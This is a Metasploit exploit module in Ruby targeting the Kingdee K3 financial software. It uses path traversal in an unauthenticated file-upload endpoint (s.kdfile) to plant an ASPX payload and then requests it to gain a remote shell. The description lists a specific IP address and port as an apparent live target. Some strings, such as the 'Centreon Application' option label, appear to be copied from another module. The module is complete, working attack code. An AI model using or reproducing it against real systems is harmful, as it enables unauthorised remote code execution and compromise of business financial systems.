require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
                      'Name' => '金蝶K3财务软件系统无需登录任意文件上传getshell',
                      'Description' => %q{
                            kdfile文件映射，无需登录认证即可上传任意文件 http://58.216.204.148:8000
                                 },
                      'Author' =>
                          [
                              'hello',
                              '扶摇直上打飞机'
                          ],
                      'License' => MSF_LICENSE,
                      'References' =>
                          [
                              ['url', 'http://wooyun.org/bugs/wooyun-2015-0160035']
                          ],
                      'Privileged' => true,
                      'Platform' => ['win'],
                      'Targets' => [['all of them', {}],],
                      'Arch' => ARCH_X86,
                      'DefaultTarget' => 0,
          ))
    register_options(
        [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
        ], self.class)
  end

  def upload
    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.aspx"
    exe = generate_payload_exe
    aspx_payload = Msf::Util::EXE.to_exe_aspx(exe)

    data = Rex::MIME::Message.new
    data.add_part(aspx_payload, 'application/octet-stream', nil, "form-data; name=\"name\"; filename=\"#{@fname}\"")
    post_data = data.to_s

    print_status("Uploading #{@fname} payload...")
    res = send_request_cgi({
                               'method' => 'POST',
                               'uri' => normalize_uri(target_uri.path, 's.kdfile'),
                               'ctype' => "multipart/form-data; boundary=#{data.bound}",
                               'data' => post_data,
                               'vars_get' => {
                                   'Ope' => 'up',
                                   'token' => 's',
                                   'F' => '1',
                                   'Area' => "/../../../../FileUpLoadServices/uploadfiles/#{@fname}",
                               },
                           }, 10)
    if res.code.to_s == '200'
      shellpath = normalize_uri(target_uri.path, 'FileUpLoadServices', 'uploadfiles', @fname)
      print_good("Shell address：#{shellpath}")
      print_status("Executing the payload...")
      send_request_cgi(
          {
              'uri' => shellpath,
              'method' => 'GET'
          }, 5)
      print_good("Executed payload")
    else
      fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
    end
  end

  def exploit
    upload
  end

  def rhost
    datastore['RHOST']

  end

  def rport
    datastore['RPORT']
  end

  def targeturi
    datastore['TARGETURI']
  end

end
